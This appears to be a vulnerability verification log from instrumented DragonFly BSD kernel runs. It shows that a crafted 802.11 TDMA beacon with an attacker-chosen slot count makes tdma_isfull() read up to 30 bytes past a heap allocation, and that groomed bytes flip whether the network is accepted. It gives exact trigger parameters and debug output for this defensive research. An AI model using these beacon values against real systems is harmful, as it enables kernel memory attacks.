DF-3364 baseline runs -- instrumented kernel #1 (stock logic + kprintf probes
in tdma_isfull/match_bss ONLY; no behavior change). Guest uname:
DragonFly dfbsd 6.5-DEVELOPMENT #1 Fri Sep 11 12:28:18 UTC 2026 X86_64_GENERIC

Vap: AHDEMO+TDMA (ifconfig wlan create wlandev fws0 wlanmode tdma up);
beacon C carries a TDMA-OUI vendor IE (len 12) with slot=0 (master),
version=2 (== vap), inuse[0]=0xff, slotcnt=255 (attacker-chosen;
tdma_inuse[] legally holds 8 slots). C's blob is exactly 64 bytes, the
TDMA IE is its last IE -> tdma_isfull's bit scan of slots 8..254 reads
blob bytes 64..94, i.e. up to 30 bytes PAST the kmalloc(64) allocation.

=======================================================================
variant 12: slotcnt=255, inuse=0xff, neighbor groom 0x00
=======================================================================
DBG isfull: ie=0xfffff801170473b2 slotcnt=255 inuse=0xfffff801170473bf inuse[0]=ff inuse[31]=00
DBG isfull: clear at slot 254 (byte +44 = 00)
    ^^^ the REAL kernel tdma_isfull() read tdma_inuse[31] = IE byte 44 =
    blob[94] = 30 bytes past the allocation end; the groomed 0x00 byte
    made it return "not full".
DBG match_bss: mac 02:33:33:33:33:33 fail=0x0
fwscan: scan_end -> 1  (C ACCEPTED)

=======================================================================
variant 11: slotcnt=255, inuse=0xff, neighbor groom 0xff
=======================================================================
DBG isfull: ie=0xfffff80117047332 slotcnt=255 inuse=0xfffff8011704733f inuse[0]=ff inuse[31]=ff
DBG isfull: FULL
    ^^^ identical beacon; ONLY the bytes past the allocation differ
    (0xff vs 0x00) -> no free slot found in out-of-bounds memory.
DBG match_bss: mac 02:33:33:33:33:33 fail=0x1000      <- MATCH_TDMA_NOSLOT
fwscan: scan_end -> 0  (C REJECTED)

=======================================================================
variant 14 (control): slotcnt=8, inuse=0x00 (everything in-bounds)
=======================================================================
DBG isfull: ie=... slotcnt=8 inuse=... inuse[0]=00 inuse[31]=ff
DBG isfull: clear at slot 7 (byte +13 = 00)     <- in-bounds byte only
DBG match_bss: mac 02:33:33:33:33:33 fail=0x0
fwscan: scan_end -> 1  (C ACCEPTED)

VERDICT: kernel-internal probes prove tdma_isfull() (ieee80211_scan_sta.c:965)
indexes tdma_inuse[slot>>3] for slot up to attacker-controlled slotcnt-1
(255) although the array is 1 byte and the IE is only 14 bytes long:
reads reach 30 bytes past the heap allocation and their content flips
the candidate-acceptance decision (v11 vs v12 differential).